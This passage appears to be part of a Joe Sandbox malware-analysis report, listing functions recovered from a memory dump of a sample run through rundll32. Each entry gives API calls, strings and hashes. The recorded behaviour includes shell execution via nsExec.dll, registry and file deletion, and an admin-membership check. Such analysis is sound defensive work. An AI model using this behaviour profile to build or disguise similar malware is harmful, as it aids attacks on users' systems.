SendMessageW.USER32(00000000,00001013,?,00000000), ref: 034565B6

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 2600836ce6b88d8ed50fcb9b250f21615202a4b55558260328c52aabf6bd6c77
Instruction ID: 8ab3dc1b616543168b79dfae26f888a01368f23bf445b1ce9fcf6e0433047e54
Opcode Fuzzy Hash: 2600836ce6b88d8ed50fcb9b250f21615202a4b55558260328c52aabf6bd6c77
Instruction Fuzzy Hash: EC2106719403186FD311EF19E844AA7B7FCEB88350F49052BF985EF249C76C8D4487A9

Uniqueness

Uniqueness Score: -1.00%

Function 03453D26 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 79stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(Exec,?,00000400), ref: 03453D5C
lstrcpynW.KERNEL32(?,052D3974,00000400), ref: 03453D69
lstrcpynW.KERNEL32(052D3974,Exec,00000400), ref: 03453D76
lstrcpynW.KERNEL32(?,052D397C,00000400), ref: 03453DA6
GlobalFree.KERNEL32(052D3978), ref: 03453DB4
GlobalAlloc.KERNEL32(00000040,00000804), ref: 03453DC6

Strings

Exec, xrefs: 03453D55, 03453D5B, 03453D71

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: lstrcpyn$Global$AllocFree
String ID: Exec
API String ID: 4256245458-459137531
Opcode ID: d0b3c891b582ee11fb8a98bc8c71834a4ec5e18154f7db9ca63d577495101b91
Instruction ID: b8dd55981240441c0838c7f563ed6dbb8a101b2cd9c054422c7ac73d081360bb
Opcode Fuzzy Hash: d0b3c891b582ee11fb8a98bc8c71834a4ec5e18154f7db9ca63d577495101b91
Instruction Fuzzy Hash: 3F21B07AA043569FC760EF26DC80B6AB3E8EB44350F54442BFD56EF345DA34A8098B58

Uniqueness

Uniqueness Score: -1.00%

Function 03472824 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,03472931,?,?,03462FDB,00000000,?,?,03472ADF,00000021,FlsSetValue,03483AE8,03483AF0,03462FDB), ref: 034728E5

Strings

api-ms-, xrefs: 0347287B
ext-ms-, xrefs: 0347288F

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: eb8ab118ec92b9f8c9f3ff860628b87f233de29669aba0d0378ff4c450a98570
Instruction ID: 8854e188070c07c7117499c4a901419ce805829f41ad889fba9dc7f008956cb1
Opcode Fuzzy Hash: eb8ab118ec92b9f8c9f3ff860628b87f233de29669aba0d0378ff4c450a98570
Instruction Fuzzy Hash: 66210836A00210ABC721EB20DC40A9B3798EB417A0F1A0B67EC11BF385D771E905C6D4

Uniqueness

Uniqueness Score: -1.00%

Function 03455C51 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 03455C6E
GetMessagePos.USER32 ref: 03455C74
ScreenToClient.USER32(?,?), ref: 03455C8C
SendMessageW.USER32(?,00001111,00000000,?), ref: 03455C9E
SendMessageW.USER32(?,0000113E,00000000,?), ref: 03455CC4

Strings

f, xrefs: 03455CA0

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: cda5b882a4d7a7d48215eca32c2e6d7c86594e55930f7a98eece48b8d70fa2c4
Instruction ID: f4585825213c6acc2d7039f14f323133240cf2df6055da675e498c4ce04e4716
Opcode Fuzzy Hash: cda5b882a4d7a7d48215eca32c2e6d7c86594e55930f7a98eece48b8d70fa2c4
Instruction Fuzzy Hash: 53011A71E00219BBE711DAA9EC85FFFBBB8AB45B10F10015ABA11FA2C1D6B099048665

Uniqueness

Uniqueness Score: -1.00%

Function 03451A42 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 03451A6C
MulDiv.KERNEL32(0081724B,00000064,0081724B), ref: 03451A94
wsprintfW.USER32 ref: 03451AA7
SetWindowTextW.USER32(?,?), ref: 03451AB8
SetDlgItemTextW.USER32(?,00000406,?), ref: 03451ACB

Strings

verifying installer: %d%%, xrefs: 03451AA1

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: ed0dc6c9d3623259a6c6ffb318f418f9c0989d19a0fbbbee74fefb7463e8f663
Instruction ID: eb2a4663e8cb4041b1be2292fe1d953e9c223c83842b75848b98ca7394b3173f
Opcode Fuzzy Hash: ed0dc6c9d3623259a6c6ffb318f418f9c0989d19a0fbbbee74fefb7463e8f663
Instruction Fuzzy Hash: 0B012D71A00219ABDF25EF60DD49BEA33A8FB04705F00805AFA06EE185DBB45A48CF95

Uniqueness

Uniqueness Score: -1.00%

Function 03467764 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0346775B,03465E8D,03464DA3), ref: 03467772
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 03467780
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 03467799
SetLastError.KERNEL32(00000000,0346775B,03465E8D,03464DA3), ref: 034677EB

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 9567dc360fa6f4ec2c40d85c99ea6acc3b5d44ad0935b78d3812c85852e97e7f
Instruction ID: b4ae14ae81f46ea2565634955f0b155a9a4ea6dcdc04587142a8d932354ac0fc
Opcode Fuzzy Hash: 9567dc360fa6f4ec2c40d85c99ea6acc3b5d44ad0935b78d3812c85852e97e7f
Instruction Fuzzy Hash: F601FC3A2083215EE615BF75BC8442F7FD8EB5197A720022FE5206C1D0EF515C09554F

Uniqueness

Uniqueness Score: -1.00%

Function 03452FDE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

CharNextW.USER32(03451393,00000020,771B3420,?,00000000,034510B0,05BCF820,03451393), ref: 03453051
CharNextW.USER32(03451393,00000000,?,00000000,034510B0,05BCF820,03451393), ref: 03453062
CharNextW.USER32(03451393,00000020,771B3420,?,00000000,034510B0,05BCF820,03451393), ref: 03453067
CharPrevW.USER32(03451393,03451393,00000020,771B3420,?,00000000,034510B0,05BCF820,03451393), ref: 0345307F

Strings

*?|<>/":, xrefs: 03453040

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 40c6a0f20d274961e757a8b3c3fdd14dffa66889af641aff7f13a6a42330c95c
Instruction ID: 1d27f756fd26eb73e9e5daaa826aedafcdcd3924ffb86e8b7a9e8fddfcd78e1b
Opcode Fuzzy Hash: 40c6a0f20d274961e757a8b3c3fdd14dffa66889af641aff7f13a6a42330c95c
Instruction Fuzzy Hash: 3311D81FE0032556CA30EF69484067BA2E8DB54EE5758441BFDC5CF385EB65C881C3A8

Uniqueness

Uniqueness Score: -1.00%

Function 0346B700 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,54531A4D,?,?,00000000,0347DE37,000000FF,?,0346B690,?,?,0346B664,00000016), ref: 0346B735
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0346B747
FreeLibrary.KERNEL32(00000000,?,00000000,0347DE37,000000FF,?,0346B690,?,?,0346B664,00000016), ref: 0346B769

Strings

mscoree.dll, xrefs: 0346B72E
CorExitProcess, xrefs: 0346B73F

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 426273e7bd12bfe9ad1409349cc1a8dbf1e2c55b2f0ecec999858a95fe020158
Instruction ID: dc647a9c881fc32943a195bb651b7b493340e33e345a1e96894fcbb8f4e580fd
Opcode Fuzzy Hash: 426273e7bd12bfe9ad1409349cc1a8dbf1e2c55b2f0ecec999858a95fe020158
Instruction Fuzzy Hash: C601A235A04659AFDB01FF40DC45FAEB7F8FB04B11F04062AE821FA390EB749804CA55

Uniqueness

Uniqueness Score: -1.00%

Function 0345BCB0 Relevance: 7.7, APIs: 5, Instructions: 242COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 0345BD97
std::_Lockit::_Lockit.LIBCPMT ref: 0345BE1A
std::_Lockit::_Lockit.LIBCPMT ref: 0345BE37
std::_Lockit::~_Lockit.LIBCPMT ref: 0345BE58
std::_Lockit::~_Lockit.LIBCPMT ref: 0345BF21

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$___std_exception_destroy
String ID:
API String ID: 2108590116-0
Opcode ID: d1a7bd0d7739567b3b83cd3e422e7dc5aea24e7bbae552328f38b94a9d734bbc
Instruction ID: 36f7c7770dc3a14d68bab19811e71b392d7e54d107e22ccb0b5d58c0dddd90f1
Opcode Fuzzy Hash: d1a7bd0d7739567b3b83cd3e422e7dc5aea24e7bbae552328f38b94a9d734bbc
Instruction Fuzzy Hash: D7919875A006049FDB18DF69D984BAEB7F5EF88310F18415EE846DB7A2DB30E940CB58

Uniqueness

Uniqueness Score: -1.00%

Function 03471995 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 03471A1C
__alloca_probe_16.LIBCMT ref: 03471ADD
__freea.LIBCMT ref: 03471B44

Part of subcall function 03470365: RtlAllocateHeap.NTDLL(00000000,03462FDB,?,?,03465099,?,?,?,?,?,03462EC9,03462FDB,?,?,?,?), ref: 03470397

__freea.LIBCMT ref: 03471B59
__freea.LIBCMT ref: 03471B69

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 5d069277a16e0f8ec9a691a37373d2604426bb6c7c09556063d87311ffe9208b
Instruction ID: d6805535e9823dd2acd84d03f3bd84ba737b7adf1937739375fc163980b4d134
Opcode Fuzzy Hash: 5d069277a16e0f8ec9a691a37373d2604426bb6c7c09556063d87311ffe9208b
Instruction Fuzzy Hash: A651B172A00206AFEF24DF66CC45DFBB6A9EB44650B19012BFD05EF250F671CD1087A8

Uniqueness

Uniqueness Score: -1.00%

Function 03454C9C Relevance: 7.6, APIs: 5, Instructions: 100memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000C800,00000002), ref: 03454CF2
GlobalAlloc.KERNEL32(00000040,?,?,?,00000000), ref: 03454D31
GlobalFree.KERNEL32(?), ref: 03454D84
GlobalFree.KERNEL32(00000000), ref: 03454D9C
DeleteFileW.KERNEL32(00000000,00000002), ref: 03454DC2

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Global$AllocFree$DeleteFile
String ID:
API String ID: 3892352246-0
Opcode ID: aecb3ba2d6eb9914791342e0a3781be4455795f41f735166f8ab7389fea18f31
Instruction ID: 7d6bb44a83c8ac4fdaa72aafb769ebf818f9227b5a8ef039cc61b7cd05328d5f
Opcode Fuzzy Hash: aecb3ba2d6eb9914791342e0a3781be4455795f41f735166f8ab7389fea18f31
Instruction Fuzzy Hash: 5331D035A043109FC754EF659880B1B7AE5ABC8220F15062EFD6A5F3D6CE708C498B89

Uniqueness

Uniqueness Score: -1.00%

Function 03453396 Relevance: 7.6, APIs: 5, Instructions: 75registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000105,00000000,00000105,00000105), ref: 034533F4
RegCloseKey.ADVAPI32(?), ref: 0345343A
RegCloseKey.ADVAPI32(?), ref: 03453459

Part of subcall function 03453396: RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000105), ref: 0345342C
Part of subcall function 03453396: RegDeleteKeyW.ADVAPI32 ref: 03453466

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CloseEnum$Delete
String ID:
API String ID: 2938479316-0
Opcode ID: 6cec6ac56ee4fd536c72b96ef316413b4ded071d858c2952f9008d303bcb0a0a
Instruction ID: c702762c52e2147c4e5b4a2bf3919a7f1c6c64315abae4f054c8563eec277c57
Opcode Fuzzy Hash: 6cec6ac56ee4fd536c72b96ef316413b4ded071d858c2952f9008d303bcb0a0a
Instruction Fuzzy Hash: 9721D439608341AFD731EF25DC04B9FBBECEF95381F00882AB955DA252EB30D404CA5A

Uniqueness

Uniqueness Score: -1.00%

Function 03453F30 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 03453F36
GetClientRect.USER32(00000000,?), ref: 03453F44
LoadImageW.USER32(00000000,00000000,00000000,?,?,00000010), ref: 03453F72
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 03453F80
DeleteObject.GDI32(00000000), ref: 03453F8F

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: c76051c52bb4b57352ca0bb54f51a418df0735773b63ab21281f548a7a8d37f8
Instruction ID: cfd7d50a63825b660d0d0c8e157d453a71942782be103331f2fb96146476021a
Opcode Fuzzy Hash: c76051c52bb4b57352ca0bb54f51a418df0735773b63ab21281f548a7a8d37f8
Instruction Fuzzy Hash: C8018B32608240AFD628EF21D888EBFB7EDFB85310F40481EF946DA241DB3098058B26

Uniqueness

Uniqueness Score: -1.00%

Function 03453F9A Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 03453F9F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 03453FB6
MulDiv.KERNEL32(00000000,00000000), ref: 03453FBE
ReleaseDC.USER32(?,00000000), ref: 03453FCD
CreateFontIndirectW.GDI32(034B41F8), ref: 0345401F

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f0f141cd48bd3c30e7fcdbfb8cb759f075bc02e94d6a8822c75936e4573d5a42
Instruction ID: f0936d68b9587457b7d5be038f8d1e7812b40e9bc7f16aa841f8fe8e8104b700
Opcode Fuzzy Hash: f0f141cd48bd3c30e7fcdbfb8cb759f075bc02e94d6a8822c75936e4573d5a42
Instruction Fuzzy Hash: B8012676900340AFD314FBB6A449B953BE4AB14380F10480AF6A5AF387DA3444499B29

Uniqueness

Uniqueness Score: -1.00%

Function 0345C4E0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 0345C8E0: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,0345C503), ref: 0345C91D
Part of subcall function 0345C8E0: CheckTokenMembership.ADVAPI32(00000000,0345C503,00000000), ref: 0345C92F
Part of subcall function 0345C8E0: GetLastError.KERNEL32 ref: 0345C939
Part of subcall function 0345C8E0: FreeSid.ADVAPI32(0345C503), ref: 0345C949

GetCommandLineW.KERNEL32(?), ref: 0345C518
CommandLineToArgvW.SHELL32(00000000), ref: 0345C51F

Strings

rundll32.exe, xrefs: 0345C5AB
rundll32, xrefs: 0345C57D

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CommandLine$AllocateArgvCheckErrorFreeInitializeLastMembershipToken
String ID: rundll32$rundll32.exe
API String ID: 3357766150-702223092
Opcode ID: f63ff255e2d34b528c61ab0d2a5b5cea02053c010144a998139fde1dad9a1d86
Instruction ID: ac52012f47856b331783f948b4ffe501e1ba57f69a9ec98e0910129fa49f9f9b
Opcode Fuzzy Hash: f63ff255e2d34b528c61ab0d2a5b5cea02053c010144a998139fde1dad9a1d86
Instruction Fuzzy Hash: A4616E75D003089ECB25EBB1DC81BEEB378AF10200F54415BF919AE193EB345A48CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0345AF40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 0345AFF8

Strings

ios_base::failbit set, xrefs: 0345B09D
ios_base::badbit set, xrefs: 0345B093, 0345B0BC
ios_base::eofbit set, xrefs: 0345B0A2

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Initstd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1620887387-1866435925
Opcode ID: 61e57f40743247d6d6d3a4e1dcc6d7e97c2aa165d00973d9b54a468e4e7f638b
Instruction ID: 861b51769365e786254eaf72b89f0f8c1967749dd6c769d5d2186617e4f07dff
Opcode Fuzzy Hash: 61e57f40743247d6d6d3a4e1dcc6d7e97c2aa165d00973d9b54a468e4e7f638b
Instruction Fuzzy Hash: 16419AB1A007058FEB20CF65C488B9BBBE4BF04304F44852EE8598F792D7B5E918CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03455742 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(034B4278,?,?,?,?), ref: 034557F7
wsprintfW.USER32 ref: 03455827
SetDlgItemTextW.USER32(?,034B4278), ref: 0345583F

Strings

%u.%u%s%s, xrefs: 03455821

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 46d7e3b277413275e0d5644f50c6cdf373e71607fa6701208c646a01f45ac3b1
Instruction ID: 9ec96c8418c19d08c96515c0809118465eb5374ddb7c45f188e0efbc182c123f
Opcode Fuzzy Hash: 46d7e3b277413275e0d5644f50c6cdf373e71607fa6701208c646a01f45ac3b1
Instruction Fuzzy Hash: D031F6367043105FD724EA79DC80AAEB2D5DBC5360F11863EF9AAEB2D1EA704C098795

Uniqueness

Uniqueness Score: -1.00%

Function 0345405C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 034564EE: lstrlenW.KERNEL32(034B6278,?,?,00000000,?), ref: 03456523
Part of subcall function 034564EE: lstrlenW.KERNEL32(?), ref: 03456532
Part of subcall function 034564EE: lstrcatW.KERNEL32(034B6278,?), ref: 0345654E
Part of subcall function 034564EE: SetWindowTextW.USER32(034B6278), ref: 03456567
Part of subcall function 034564EE: SendMessageW.USER32 ref: 0345658E
Part of subcall function 034564EE: SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 034565A9
Part of subcall function 034564EE: SendMessageW.USER32(00000000,00001013,?,00000000), ref: 034565B6

ShellExecuteExW.SHELL32(0000003C), ref: 034540E9

Part of subcall function 034531A9: WaitForSingleObject.KERNEL32(?,00000064), ref: 034531B4
Part of subcall function 034531A9: GetExitCodeProcess.KERNEL32(?,?), ref: 034531DB

Part of subcall function 0345219D: CloseHandle.KERNEL32(00000000,034529A1,00000001,00000000,00000000,?,00000001,03452AFD), ref: 034521B4

Strings

<, xrefs: 034540C3
C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll, xrefs: 03454083
@, xrefs: 034540F7

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: MessageSend$lstrlen$CloseCodeExecuteExitHandleObjectProcessShellSingleTextWaitWindowlstrcat
String ID: <$@$C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll
API String ID: 4079680657-511371005
Opcode ID: fc7b6c9e86fc4237c89999721930d6ba40c4c7bd5d8241ba6ce328405e67d86d
Instruction ID: cfc12faf00c2c820dd47bc11b54c4b845132b833c686f34283e0548831dc8d20
Opcode Fuzzy Hash: fc7b6c9e86fc4237c89999721930d6ba40c4c7bd5d8241ba6ce328405e67d86d
Instruction Fuzzy Hash: 69212C75A083508FC724EF79D49461EB7E5AB84350F10482FF959CF291EB74C845CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 034688A7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,03468858,00000000,?,03490724,?,?,?,034689FB,00000004,InitializeCriticalSectionEx,03481500,InitializeCriticalSectionEx), ref: 034688B4
